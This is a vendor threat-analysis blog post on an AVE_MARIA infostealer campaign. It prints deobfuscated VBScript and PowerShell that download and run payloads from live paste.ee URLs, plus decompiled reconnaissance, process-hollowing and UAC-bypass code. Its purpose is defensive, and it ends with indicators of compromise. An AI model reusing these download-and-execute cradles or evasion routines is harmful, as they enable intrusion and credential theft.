Threat Alert: AVE Maria infostealer on the rise

Posted by Alon Groisman on March 1, 2019
Find me on:
LinkedIn

- Tweet
-

Over the past two weeks, Morphisec Labs has identified an increase in **AVE_MARIA malware** infecting victims through a variety of phishing methods. One of the downloader components and C2 metadata are similar to those we saw in the Orcus RAT attacks last month and we believe they are by the same threat actor.

AVE_MARIA is an advanced information stealer malware, described in this Yoroi Lab post about an earlier attack on an Italian oil and gas company. It is a relatively new malware, with its first documented appearance towards the end of 2018.

While previous coverage of the malware reported the use of AutoIt as part of the AVE_MARIA downloader stage, the campaign identified by Morphisec uses additional, more advanced stealth methods to deliver the same information stealer. More specifically, we have identified the adoption of Orcus RAT delivery stages and Revenge RAT fileless components that execute reconnaissance and hollowing attacks on legitimate Windows processes to avoid being detected.

TECHNICAL ANALYSIS:

Phishing

Following a successful email phishing campaign, a malicious VBScript is executed. This VBScript contains a PowerShell command that downloads an initial Recon stage component.

```
"C:\\Windows\\System32\\wscript.exe 'C:\\Users\\[redacted]\\AppData\\Roaming\\xacmrngh012919.vbs'"
Execute(ChrW(log(1.8) * log(1.5) + 67.431673016371) & ChrW(log(1.8) * log(1.7) +
72.358103790005) & ChrW(log(1.5) + log(1.6) + 75.794531262646) & ChrW(log(1.7) -
log(1.4) + 31.475843985559) & ChrW(log(1.9) + log(1.3) + 82.76578184936) & ChrW(
log(1.6) * log(1.3) + 70.546687843516) & ChrW(log(1.9) + log(1.7) + 95.497517862
ChrW(log(1.7) * log(1.6) + 121.42060279622) & ChrW(log(1.4) + log(1.4) +
83.997055526758) & ChrW(log(1.8) - log(1.7) + 87.61284158616) & ChrW(log(1.6) *
log(1.5) + 81.479429927657) & ChrW(log(1.9) * log(1.4) + 102.45403398734) & ChrW(
log(1.7) + log(1.6) + 72.669368119692) & ChrW(log(1.8) - log(1.3) + 117.344577599
```

->

```
DIM TGazUXRgJvidfBXtUPmE
TGazUXRgJvidfBXtUPmE = "325$322$412$417$421$344$432$38
344$432$384$428$428$424$344$373$344$411$426$413$409$42
346$389$417$411$426$423$427$423$414$428$358$400$389$38
432$384$428$428$424$358$391$424$413$422$344$346$383$38
424$427$370$359$359$424$409$427$428$413$358$413$413$35
360$346$356$344$382$409$420$427$413$325$322$432$384$42
322$430$409$426$344$373$344$432$384$428$428$424$358$42
413$432$428$325$322$381$432$413$411$429$428$413$352$43
344$344$344$344$344$344$344$379$426$413$409$428$413$39
416$413$420$420$358$377$424$424$420$417$411$409$428$41
413$427$424$409$411$413$352$367$353$358$379$423$424$43
426$417$424$428$358$395$411$426$417$424$428$382$429$42
    356$344$364$344$355$344$361$366$344$355$344$361$36
kFemyCyvedVnzhbRRmOO = ""
For Each DxPZFwQUmkIrlVDrlgcX in Split(TGazUXRgJvidfBX
kFemyCyvedVnzhbRRmOO = kFemyCyvedVnzhbRRmOO & ChrW(DxP
NEXT
EXECUTE kFemyCyvedVnzhbRRmOO
```

->

```
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
xHttp.Open "GET", "https://paste.ee/r/d8Xpk/0", False
xHttp.Send
var = xHttp.responseText
Execute(var)

        CreateObject("Shell.Application").Namespace(7).CopyHere WScript.ScriptFullName,
            4 + 16 + 1024
```

-> After additional deobfuscation steps, we get to the final PowerShell execution.

```
z = "Invoke-Expression (New-Object ""`N`e`T`.`W`e`B`C`l`i`e`N`T"").(-join[char[]](68,111
,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('ht'+'tps://paste.ee/r/YoY3z/0')
    "
Set objShell = CreateObject("WScript.Shell")
objShell.Run("powershell.exe -noexit -noLogo -Noninteractive -noProfile
    -executionPolicy bypass -windowstyle hidden " & z), 0
```

First Stage Recon Download

The first stage PowerShell command downloads the RevengeRat component directly into memory (filename – Nuclear Explosion.exe) from pastee.ee, a popular free available text storage site. This component is identified by its Mutex and strings metadata (RV_MUTEX).

The component communicates with its C2, sends all the basic information from the computer (what are the running processes, installed AVs, Username, Machine, system drives and more) as part of a reconnaissance stage, then executes the next stage PowerShell command.

```
NewLateBinding.LateCall(this, null, "Send", new object[]
{
    Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject
      (Operators.ConcatenateObject("Information" + Atomic.Key + this.ID + Atomic.Key, this.Encode("_" +
      this.HWD())), Atomic.Key), this.IP()), Atomic.Key), this.Encode(Environment.MachineName + " / " +
      Environment.UserName)), Atomic.Key), this.CIVC()), Atomic.Key), this.Encode(Atomic.DI.OSFullName + " "
      + Atomic.OP())), Atomic.Key), this.Encode(Conversions.ToString(this.MP()))), Atomic.Key),
      Atomic.DI.TotalPhysicalMemory), Atomic.Key), this.GetProduct("Select * from AntiVirusProduct")),
      Atomic.Key), this.GetProduct("SELECT * FROM FirewallProduct")), Atomic.Key), this.Ports[this.P]),
      Atomic.Key), this.GAW()), Atomic.Key), this.Encode(CultureInfo.CurrentCulture.Name)), Atomic.Key),
      "False")
}, null, null, null, true);
this.H = i;
this.P = i;
flag9 = true;
```

Second Stage Downloader

Both the AVE_MARIA and the downloader are not part of the original second stage PowerShell command that is executed following the described first stage. This makes it very unlikely that runtime detection solutions will detect the malware. The same downloader and the information stealer are stored on paste.ee and therefore also cannot be categorized as low reputation URL. The first URL represents the Downloader, which executes a known process hollowing technique on a legitimate Windows process (RegAsm.exe). This is done to bypass whitelisting. The same module was also used as part of the previously described Orcus RAT campaign.

```
powershell.exe -noexit -noLogo -Noninteractive -noProfile -executionPolicy bypass -windowstyle hidden
$version = @([System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion);

function HexToBin([string]$ZCsHUkqNsajVXB6) {

    $return = @()
    for ($i = 0;
    $i -lt $ZCsHUkqNsajVXB6.Length ;
    $i += 2)
    {
        $return += [Byte]::Parse($ZCsHUkqNsajVXB6.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
    }
    Write-Output $return
}

$webClient = New-Object System.Net.WebClient
$ZCsHUkqNsajVXB6tr = $webClient.DownloadString('https://paste.ee/r/cbaHS');
$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($ZCsHUkqNsajVXB6tr))
$webClient = New-Object System.Net.WebClient
$ZCsHUkqNsajVXB6tr = $webClient.DownloadString('https://paste.ee/r/4AIl0');
[byte[]]$Data = [Convert]::FromBase64String($ZCsHUkqNsajVXB6tr);
$t = $Assembly.GetType('C.M')
$m = $t.GetMethod('R')
$m.Invoke($null, ($null, $('\\Windows\\Microsoft.NET\\Framework\\' + $version + '\\RegAsm.exe'), '', $Data, $True))'"
```

The Downloader is obfuscated by automatic tools and can easily be de-obfuscated by de4dot. After deobfuscation, we clearly see that the script calls C.M method and invoke R function. This, in turn, executes process hollowing by the book on a 32 bit process, CreateProcess in suspend, Unmap and Map and then resume thread on the written data.

```
public static bool R(object path1, string path, string cmd, byte[] data, bool compatible)
{
    bool result;
    for (;;)
    {
        IL_133:
        uint num = 1041364384u;
        for (;;)
        {
            uint num2;
            switch ((num2 = (num ^ 1546337391u)) % 11u)
            {
            case 0u:
                goto IL_133;
            case 2u:
            {
                bool flag;
                num = (((!flag) ? 3136094995u : 3652953557u) ^ num2 * 682514941u);
                continue;
            }
            case 3u:
                checked
                {
                    int num3;
                    num3++;
                    num = 702729484u;
                    continue;
                }
            case 4u:
            {
                int num3;
                int num4 = num3;
                int num6;
                int num5 = num6;
                num = ((num4 <= num5) ? 1700320143u : 1554072372u);
                continue;
            }
            case 5u:
                num = (num2 * 3376516245u ^ 505553496u);
                continue;
            case 6u:
            {
                bool flag = M.smethod_0(RuntimeHelpers.GetObjectValue(path1), path, cmd, data, compatible);
                num = 422800895u;
                continue;
```

```
    num3 = (num2 * 2919634807u ^ 3980285999u);
    continue;
}
case 227u:
{
    bool flag2 = !M.CreateProcess(string_0, text, IntPtr.Zero, IntPtr.Zero, false, checked((uint)
      Math.Round(Math.Sqrt(16.0))), IntPtr.Zero, null, ref @struct, ref struct2);
    num3 = (num2 * 58950623u ^ 3947828522u);
    continue;
}
case 228u:
{
    bool flag2 = false;
    num3 = 2714073099u;
```

```
case 53u:
{
    int num14;
    int num18;
    int int_2;
    bool flag2 = !M.WriteProcessMemory(struct2.intptr_0, num18, byte_0, int_2, ref num14);
    num3 = (num2 * 2158022006u ^ 3739195341u);
    continue;
}
```

AVE_MARIA

The Information stealer is the same as that described by Yoroi Lab in a previous attack.

```
; char buf[9]
buf             db 'AVE_MARIA'          ; DATA XREF: sub_40D0F1+23↑o
                db   1
                db   0
                db   0
; const WCHAR aSoftwareMicros_7
```

As reported, the privilege escalation used by the malware is an old fashion elevated PkgMgr->DISM Dll hijacking vulnerability for UAC bypass. The privilege escalation itself is executed by an additional executable, which is embedded as resource inside the malware.

```
sub_401052(0, (char *)&Data, 0, 0x208u);
GetModuleFileNameW(0, &Data, 0x208u);
if ( !IsUserAnAdmin() )
{
  sub_40545F();
  v0 = FindResourceW(0, (LPCWSTR)0x66, L"WM_DSP");
  v1 = LoadResource(0, v0);
  v2 = SizeofResource(0, v0);
  v3 = LockResource(v1);
  sub_401052(v2, &Buffer, 0, 0x400u);
  GetTempPathA(0x400u, &Buffer);
  lstrcatA(&Buffer, "ping.exe");
  v4 = CreateFileA(&Buffer, 0x10000000u, 1u, 0, 2u, 0x84u, 0);
  WriteFile(v4, v3, v2, &NumberOfBytesWritten, 0);
  CloseHandle(v4);
  ShellExecuteA(0, 0, &Buffer, 0, 0, 1);
}
return 0;
```

```
  GetModuleFileNameW(0, &Filename, 0x208u);
  v0 = LoadLibraryW(L"ntdll.dll");
  dword_403334 = (int)GetProcAddress(v0, "RtlGetCurrentPeb");
  v1 = LoadLibraryW(L"ntdll.dll");
  dword_403338 = (int)GetProcAddress(v1, "RtlEnterCriticalSection");
  v2 = LoadLibraryW(L"ntdll.dll");
  dword_403330 = (int)GetProcAddress(v2, "RtlLeaveCriticalSection");
  v3 = LoadLibraryW(L"ntdll.dll");
  dword_403750 = (int)GetProcAddress(v3, "RtlInitUnicodeString");
  v4 = LoadLibraryW(L"ntdll.dll");
  dword_403328 = (int)GetProcAddress(v4, "RtlFillMemory");
  v5 = LoadLibraryW(L"ntdll.dll");
  GetProcAddress(v5, "NtAllocateVirtualMemory");
  v6 = LoadLibraryW(L"ntdll.dll");
  dword_40333C = (int)GetProcAddress(v6, "LdrEnumerateLoadedModules");
  if ( !IsUserAnAdmin() )
  {
    sub_401300();
    sub_401270();
    sub_401000(&Buffer, 260);
    GetSystemDirectoryW(&Buffer, 0x104u);
    lstrcatW(&Buffer, L"\\pkgmgr.exe");
    sub_401010(&Buffer);
    ExitProcess(0);
  }
  MessageBoxW(0, L"Hey I'm Admin", 0, 0);
  ExitProcess(0);
```

The malware communicates with 194.5.98[.]139, which was previously identified as a C2 for the Orcus RAT campaign.

Conclusions

There is an obvious adaptation of various memory evasion techniques by the different hacker groups. The only way to combat this type of evasion is change the game on attackers and make their target unpredictable.

Morphisec applies Moving Target Defense and deterministically prevents this type of attacks without prior knowledge.

Artifacts

VBS

hxxps://paste[.]ee/r/d8Xpk/0

Revenge RAT Recon Downloader

hxxps://paste[.]ee/r/YoY3z/0

AVE_MARIA Downloader -

hxxps://paste[.]ee/r/cbaHS

hxxps://paste[.]ee/r/VsX9H

AVE_MARIA

hxxps://paste[.]ee/r/4AIl0

hxxps://paste[.]ee/r/T36RL

Domains

list131.ignorelist[.]com

194.5.98[.]139

Contact SalesInquire via Azure